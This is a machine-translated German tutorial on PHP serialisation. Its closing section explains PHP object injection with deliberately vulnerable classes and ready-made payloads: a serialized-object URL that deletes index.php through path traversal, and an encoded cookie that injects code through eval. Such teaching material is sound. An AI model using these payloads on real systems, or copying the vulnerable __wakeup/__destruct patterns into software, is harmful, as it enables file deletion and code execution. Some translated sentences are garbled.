PHP
Serialisierung
Suche…
Syntax
- String serialize (gemischter $ -Wert)
Parameter
Parameter | Einzelheiten |
---|---|
Wert | Der Wert, der serialisiert werden soll. serialize () behandelt alle Typen außer dem Ressourcentyp . Sie können sogar Arrays serialisieren (), die Verweise auf sich selbst enthalten. Kreisbezüge innerhalb des Arrays / Objekts, das Sie serialisieren, werden ebenfalls gespeichert. Alle anderen Referenzen gehen verloren. Beim Serialisieren von Objekten versucht PHP vor der Serialisierung die Member-Funktion __sleep () aufzurufen . Auf diese Weise kann das Objekt vor der Serialisierung eine letzte Reinigung usw. durchführen. Wenn das Objekt mit unseremialize () wiederhergestellt wird, wird die Memberfunktion __wakeup () aufgerufen. Bei den privaten Mitgliedern des Objekts wird der Klassenname dem Namen des Mitglieds vorangestellt. Geschützte Mitglieder haben ein '*' vor dem Mitgliedsnamen. Diese vorangestellten Werte haben auf beiden Seiten null Byte. |
Bemerkungen
Die Serialisierung verwendet folgende String-Strukturen:
[..]
sind Platzhalter.
Art | Struktur |
---|---|
String | s:[size of string]:[value] |
Ganze Zahl | i:[value] |
Doppelt | d:[value] |
Boolean | b:[value (true = 1 and false = 0)] |
Null | N |
Objekt | O:[object name size]:[object name]:[object size]:{[property name string definition]:[property value definition];(repeated for each property)} |
Array | a:[size of array]:{[key definition];[value definition];(repeated for each key value pair)} |
Serialisierung verschiedener Typen
Erzeugt eine speicherbare Darstellung eines Wertes.
Dies ist nützlich zum Speichern oder Weitergeben von PHP-Werten, ohne dass deren Typ und Struktur verloren gehen.
Um den serialisierten String wieder in einen PHP-Wert umzuwandeln , verwenden Sie unserialize () .
Serialisierung einer Zeichenfolge
$string = "Hello world";
echo serialize($string);
// Output:
// s:11:"Hello world";
Serialisierung eines Double
$double = 1.5;
echo serialize($double);
// Output:
// d:1.5;
Serialisierung eines Floats
Float wird als Double serialisiert.
Serialisierung einer Ganzzahl
$integer = 65;
echo serialize($integer);
// Output:
// i:65;
Serialisieren eines Boolean
$boolean = true;
echo serialize($boolean);
// Output:
// b:1;
$boolean = false;
echo serialize($boolean);
// Output:
// b:0;
Serialisierung von Null
$null = null;
echo serialize($null);
// Output:
// N;
Serialisieren eines Arrays
$array = array(
25,
'String',
'Array'=> ['Multi Dimension','Array'],
'boolean'=> true,
'Object'=>$obj, // $obj from above Example
null,
3.445
);
// This will throw Fatal Error
// $array['function'] = function() { return "function"; };
echo serialize($array);
// Output:
// a:7:{i:0;i:25;i:1;s:6:"String";s:5:"Array";a:2:{i:0;s:15:"Multi Dimension";i:1;s:5:"Array";}s:7:"boolean";b:1;s:6:"Object";O:3:"abc":1:{s:1:"i";i:1;}i:2;N;i:3;d:3.4449999999999998;}
Objekt serialisieren
Sie können Objekte auch serialisieren.
Beim Serialisieren von Objekten versucht PHP vor der Serialisierung die Member-Funktion __sleep () aufzurufen . Auf diese Weise kann das Objekt vor der Serialisierung eine letzte Reinigung usw. durchführen. Wenn das Objekt mit unseremialize () wiederhergestellt wird, wird die Memberfunktion __wakeup () aufgerufen.
class abc {
var $i = 1;
function foo() {
return 'hello world';
}
}
$object = new abc();
echo serialize($object);
// Output:
// O:3:"abc":1:{s:1:"i";i:1;}
Beachten Sie, dass Verschlüsse nicht serialisiert werden können:
$function = function () { echo 'Hello World!'; };
$function(); // prints "hello!"
$serializedResult = serialize($function); // Fatal error: Uncaught exception 'Exception' with message 'Serialization of 'Closure' is not allowed'
Sicherheitsprobleme mit unserialize
Die Verwendung unserialize
Funktion zum Deaktivieren von Daten aus Benutzereingaben kann gefährlich sein.
Eine Warnung von php.net
Warnung Übergeben Sie nicht nicht vertrauenswürdige Benutzereingaben an unserialize (). Unsereialisierung kann dazu führen, dass Code aufgrund von Objekt-Instantiierung und automatischem Laden geladen und ausgeführt wird, und ein böswilliger Benutzer kann dies ausnutzen. Verwenden Sie ein sicheres, standardisiertes Datenaustauschformat wie JSON (über json_decode () und json_encode ()), wenn Sie serialisierte Daten an den Benutzer übergeben müssen.
Mögliche Angriffe
- PHP-Objektinjektion
PHP-Objektinjektion
PHP Object Injection ist eine Sicherheitsanfälligkeit auf Anwendungsebene, die es einem Angreifer ermöglichen kann, je nach Kontext verschiedene Arten von böswilligen Angriffen wie Code Injection, SQL Injection, Path Traversal und Application Denial of Service auszuführen. Die Sicherheitsanfälligkeit wird verursacht, wenn vom Benutzer eingegebene Eingaben nicht ordnungsgemäß bereinigt werden, bevor sie an die PHP-Funktion unserialize () übergeben werden. Da PHP die Objektserialisierung von Objekten ermöglicht, können Angreifer ad-hoc-serialisierte Zeichenfolgen an einen anfälligen unserialize () - Aufruf übergeben, was dazu führt, dass beliebige PHP-Objekte in den Anwendungsbereich eingefügt werden.
Um eine PHP Object Injection-Schwachstelle erfolgreich ausnutzen zu können, müssen zwei Bedingungen erfüllt sein:
- Die Anwendung muss über eine Klasse verfügen, die eine magische PHP-Methode implementiert (z. B.
__wakeup
oder__destruct
), mit der böswillige Angriffe ausgeführt oder eine "POP-Kette" gestartet werden kann. - Alle während des Angriffs verwendeten Klassen müssen beim
unserialize()
der anfälligenunserialize()
deklariert werden, andernfalls muss dasunserialize()
Objekten für diese Klassen unterstützt werden.
Beispiel 1 - Pfadüberquerungsangriff
Das folgende Beispiel zeigt eine PHP-Klasse mit einer ausnutzbaren __destruct
Methode:
class Example1
{
public $cache_file;
function __construct()
{
// some PHP code...
}
function __destruct()
{
$file = "/var/www/cache/tmp/{$this->cache_file}";
if (file_exists($file)) @unlink($file);
}
}
// some PHP code...
$user_data = unserialize($_GET['data']);
// some PHP code...
In diesem Beispiel kann ein Angreifer eine beliebige Datei über einen Path Traversal-Angriff löschen, um beispielsweise die folgende URL anzufordern:
http://testsite.com/vuln.php?data=O:8:"Example1":1:{s:10:"cache_file";s:15:"../../index.php";}
Beispiel 2 - Code-Injection-Angriff
Das folgende Beispiel zeigt eine PHP-Klasse mit einer ausnutzbaren __wakeup-Methode:
class Example2
{
private $hook;
function __construct()
{
// some PHP code...
}
function __wakeup()
{
if (isset($this->hook)) eval($this->hook);
}
}
// some PHP code...
$user_data = unserialize($_COOKIE['data']);
// some PHP code...
In diesem Beispiel kann ein Angreifer möglicherweise eine Code-Injection-Attacke ausführen, indem er eine HTTP-Anforderung wie die folgende sendet:
GET /vuln.php HTTP/1.0
Host: testsite.com
Cookie: data=O%3A8%3A%22Example2%22%3A1%3A%7Bs%3A14%3A%22%00Example2%00hook%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D
Connection: close
Der Cookie-Parameter "data" wurde von folgendem Skript generiert:
class Example2
{
private $hook = "phpinfo();";
}
print urlencode(serialize(new Example2));